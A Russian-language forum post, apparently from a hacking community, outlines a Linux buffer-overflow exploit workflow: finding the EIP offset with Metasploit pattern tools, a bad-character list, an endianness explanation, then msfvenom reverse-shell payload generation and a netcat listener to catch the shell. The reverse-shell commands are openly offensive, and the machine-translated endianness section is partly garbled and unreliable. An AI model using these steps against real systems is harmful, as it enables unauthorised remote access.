Переполнение буфера Linux / buffer overflow Linux

vestnik

Newbie
22.05.2020
4
0
1
Переполнение буфера в Linux

Обнаружение уязвимости
Тиражирование аварии
Введение в edb (отладчик evans)

edb

Управление EIP
определение местоположения с помощью уникального шаблона

msf-pattern_create -l string

Определение местоположения смещения с использованием уникального шаблона

msf-pattern_offset -q string

Определение места для кода оболочки
Получать коды операций

Код:
msf-nasm_shell
nasm>
nasmm>
проверка на плохие символы

Код:
\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
nasm opcodes

1591684079833.png

Формат данных
инструкция загрузки слова или сохранения слова использует только один адрес памяти. Самый младший адрес из четырех байтов используется для адреса блока из четырех смежных байтов.

Как 32-битный шаблон хранится в четырех байтах памяти? В шаблоне содержится 32 бита, а в шаблоне - 32 бита, но необходимо выбрать, какой байт памяти получает какую часть шаблона. Есть два способа, которыми компьютеры обычно делают это:

## Порядок байтов с прямым порядком байтов: самый старший байт («большой конец») данных размещается в байте с самым низким адресом. Остальные данные располагаются по порядку в следующих трех байтах в памяти.

## Порядок байтов с прямым порядком байтов: младший байт («младший конец») данных размещается в байте с наименьшим адресом. Остальные данные располагаются по порядку в следующих трех байтах в памяти.

В этих определениях данные, 32-разрядный шаблон, рассматриваются как 32-разрядное целое число без знака. «Самый значимый» байт - это байт для самых больших степеней двух: 231,…, 224. «Наименее значимый» байт - это байт для наименьших степеней двух: 27,…, 20.

Например, допустим, что 32-разрядный шаблон 0x12345678 хранится по адресу 0x00400000. Самый старший байт 0x12; наименее значимым является 0x78.

Внутри байта порядок битов одинаков для всех компьютеров (независимо от того, как расположены сами байты).

1591684215796.png
Генерация shellcode

msfvenom -p linux/x86/shell_reverse_tcp lhost=ip of attacker lport=port to connect -b "badcharcters here" -f fileformat -o outputname

Модифация shellcode

msfvenom -p linux/x86/shell_reverse_tcp lhost=ip of attacker lport=port to connect -b "badcharcters here" -f fileformat -v shellcode

Получение shell

nc -nlvp port
 

Об LS-LA

  • Мы, группа единомышленников, основная цель которых повышать уровень знаний и умений.
    Не забывая о материальном благополучии каждого)

About LS-LA

  • We, a group of like-minded people, whose main goal is to increase the level of knowledge and skills.
    Not forgetting about everyone’s material well-being)

Быстрая навигация

Пользовательское меню